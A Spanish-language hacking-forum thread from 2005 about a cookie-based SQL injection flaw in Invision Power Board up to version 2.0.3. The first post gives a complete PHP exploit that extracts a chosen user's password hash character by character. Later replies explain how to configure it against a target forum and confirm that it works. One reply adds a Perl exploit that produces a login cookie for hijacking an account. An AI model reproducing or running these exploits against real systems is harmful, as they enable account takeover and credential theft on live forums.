elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:27  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Invision Power Board Login.PHP SQL Injection Vulnerability
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Invision Power Board Login.PHP SQL Injection Vulnerability  (Leído 2,505 veces)
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Invision Power Board Login.PHP SQL Injection Vulnerability
« en: 8 Mayo 2005, 00:14 »

vulnerable hasta la version 2.0.3



<?php
$server = "SERVER";
$port = 80;
$file = "PATH";

$target = 81;

/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
        $idx = 0;
        $found = false;

        while( !($found) ) {
                $letter = substr($hex, $idx, 1);

                /* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
                $cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
                $cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;

                /* Query is in effect: SELECT * FROM ibf_members
                                       WHERE id=$id AND password='$pass' OR
id=$target
                                       HAVING id=$target AND
MID(`password`,$i,1)='$letter' */

                $header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
                if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) {
                        echo $i . ": " . $letter . "\n";
                        $found = true;

                        $hash .= $letter;
                } else {
                        $idx++;
                }
        }
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
        $ip = gethostbyname($server);
        $fp = fsockopen($ip, $port);

        if (!$fp) {
                return "Unknown";
        } else {
                $com = "HEAD $file HTTP/1.1\r\n";
                $com .= "Host: $server:$port\r\n";
                $com .= "Cookie: $cookie\r\n";
                $com .= "Connection: close\r\n";
                $com .= "\r\n";

                fputs($fp, $com);

                do {
                        $header.= fread($fp, 512);
                } while( !preg_match('/\r\n\r\n$/',$header) );
        }

        return $header;
}
?>

Fuente: Securityfocus

Salu2


En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #1 en: 8 Mayo 2005, 17:56 »

me sale esto:
1: 0 2: 0 3: 0 4: 0 5: 0 6: 0 7: 0 8: 0 9: 0 10: 0 11: 0 12: 0 13: 0 14: 0 15: 0 16: 0 17: 0 18: 0 19: 0 20: 0 21: 0 22: 0 23: 0 24: 0 25: 0 26: 0 27: 0 28: 0 29: 0 30: 0 31: 0 32: 0 Final Hash: 00000000000000000000000000000000

hago algo mal?
« Última modificación: 8 Mayo 2005, 18:09 por alb3rt0 » En línea
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #2 en: 9 Mayo 2005, 20:56 »

Has cambiado las variables de arriba del todo? Donde dice server y path?
Si no, es imposible que funcione  :-\

Además creo que tienes que estar registrao y tener la cookie, sino no sirve de nada.

Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #3 en: 9 Mayo 2005, 23:20 »

cambié esto:

<?php
$server = "SERVER";
$port = 80;
$file = "PATH";

estoy registrado en el foro, pero hay que hacer algo mas?  ???

En línea
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #4 en: 10 Mayo 2005, 00:30 »

Mira si tienes la cookie de autologin... Creo que es eso.

Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
ColdWinteR

Desconectado Desconectado

Mensajes: 60

"el niubi" (phase 2)


Ver Perfil WWW
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #5 en: 10 Mayo 2005, 14:04 »

A mí me pasa lo mismo... ¿lo solucionaste?
En línea

alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #6 en: 10 Mayo 2005, 15:13 »

si, la cookie esta perfecta, me autologuea  ???
En línea
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #7 en: 10 Mayo 2005, 15:47 »

Yo tampoco he conseguido hacer andar el exploit...  >:( >:(

Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
ColdWinteR

Desconectado Desconectado

Mensajes: 60

"el niubi" (phase 2)


Ver Perfil WWW
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #8 en: 10 Mayo 2005, 22:32 »

Lo he seguido probando en mi server, pero aún no saqué resultados. De todas formas, hay que hacer más modificaciones en el código que las dichas previamente.
Yo he modificado lo siguiente; si alguien tiene alguna buena nueva, que lo notifique aquí :)
Por un lado, lo que ya dijisteis:
Código:
$server = "mi.server.com";
$port = puertoquecorresponda;
$file = "mi.server.com/foros/";
Por otro, el nombre de las cookies:
Código:
$cookie =
"<nombrecookie>member_id=$id;<nombrecookie>pass_hash=$pass%2527%20OR%20id=$target";
Hasta ahí he podido averiguar, aunque quizás haya que cambiar también el $target
En línea

ColdWinteR

Desconectado Desconectado

Mensajes: 60

"el niubi" (phase 2)


Ver Perfil WWW
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #9 en: 18 Mayo 2005, 14:21 »

Confirmado. El exploit funciona perfectamente ;)
« Última modificación: 18 Mayo 2005, 14:30 por ColdWinteR » En línea

alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #10 en: 18 Mayo 2005, 15:26 »

Nos podrias explicar que hay que cambiar? y si son por defecto los nombres, o hay k buscarlos? gracias
En línea
ColdWinteR

Desconectado Desconectado

Mensajes: 60

"el niubi" (phase 2)


Ver Perfil WWW
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #11 en: 18 Mayo 2005, 17:08 »

En el exploit original (el del primer post de este thread), hay que cambiar lo siguiente:
$server = "SERVER"; -> ip del server vulnerable o dns (ejs: www.ejemplo.com o 192.168.0.1)
$port = 80; -> puerto por el cual se intentará establecer la conexión con $server. Lo normal es que sea el 80, ya que es el default para los servers web
$file = "PATH"; -> directorio donde se encuentra el foro dentro de $server (ej: /forum/)
$target = 81; -> ID del usuario del que se quiere obtener el hash del pass
$cookie ="member_id=$id;pass_hash=$pass%2527%20OR%20id=$target"; -> member_id y pass_hash son el nombre de las cookies. Debéis cambiar estos por los nombres de las cookies del sitio vulnerable en el caso de que no coincidieran con los aquí puestos
Si todo ha ido bien, cargad el exploit, y a los 5-10 minutos os devolverá el MD5 hash del password en cuestión :)
Saludos ^^
En línea

roder

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #12 en: 28 Mayo 2005, 16:46 »

Sigo sin enterarme, segun lo dicho el exploit quedaria asi no?

Citar
<?php
$server = "mi.server.com";
$port = 80;
$file = "mi.server.com/foros/";

$target = 1;

/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 1;
$pass = "";

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
        $idx = 0;
        $found = false;

        while( !($found) ) {
                $letter = substr($hex, $idx, 1);

                /* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
                $cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
                $cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;

                /* Query is in effect: SELECT * FROM ibf_members
                                       WHERE id=$id AND password='$pass' OR
id=$target
                                       HAVING id=$target AND
MID(`password`,$i,1)='$letter' */

                $header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
                if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) {
                        echo $i . ": " . $letter . "\n";
                        $found = true;

                        $hash .= $letter;
                } else {
                        $idx++;
                }
        }
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
        $ip = gethostbyname($server);
        $fp = fsockopen($ip, $port);

        if (!$fp) {
                return "Unknown";
        } else {
                $com = "HEAD $file HTTP/1.1\r\n";
                $com .= "Host: $server:$port\r\n";
                $com .= "Cookie: $cookie\r\n";
                $com .= "Connection: close\r\n";
                $com .= "\r\n";

                fputs($fp, $com);

                do {
                        $header.= fread($fp, 512);
                } while( !preg_match('/\r\n\r\n$/',$header) );
        }

        return $header;
}
?>

He cambiado $server, $port, $file, $target y $id; Mi duda es como poner $cookie, podrias poner el ejemplo en el codigo, asi se veria mas facil.

Gracias.
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #13 en: 28 Mayo 2005, 17:00 »

Muchas personas se quejan de que ese exploit no funciona y yo tampoco logre hacerlo funcionar luego de varios cambios e intentos. En bugtraq publicaron otro pero aun no lo he probado , me avisan si este funciona.

Código:
#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

  $ua = new LWP::UserAgent;
  $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
       print "The type of the file system is NTFS.\n\n";
       print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
       print "DRIVE C: WILL BE LOST!\n";
       print "Proceed with Format (Y/N)?\n";
       exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
       for( $j=0; $j < 16; $j++ )
       {
               my $current = $charset[$j];
           my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
               my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
               my $res = $ua->get($path, @cookie);

               # If we get a valid sql request then this
               # does not appear anywhere in the sources
               $pattern = '<title>(.*)Log In(.*)</title>';

               $_ = $res->content;

               if ($dbug) { print };

               if ( !(/$pattern/) )
               {
                       $outputs .= $current;
                       print "$current\n";
                   last;
               }

       }
 if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
ColdWinteR

Desconectado Desconectado

Mensajes: 60

"el niubi" (phase 2)


Ver Perfil WWW
Re: Invision Power Board Login.PHP SQL Injection Vulnerability
« Respuesta #14 en: 29 Mayo 2005, 18:05 »

Citar
$file = "mi.server.com/foros/";
En el último post que puse dije que estaba equivocado:
Citar
$file = "PATH"; -> directorio donde se encuentra el foro dentro de $server (ej: /forum/)
Por tanto, en este caso deberías poner:
Código:
$file = "/foros/";
El nuevo PoC que pusieron no lo probé, pero el primero lo testeé y funciona a la perfección, como ya dije la última vez ;)
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines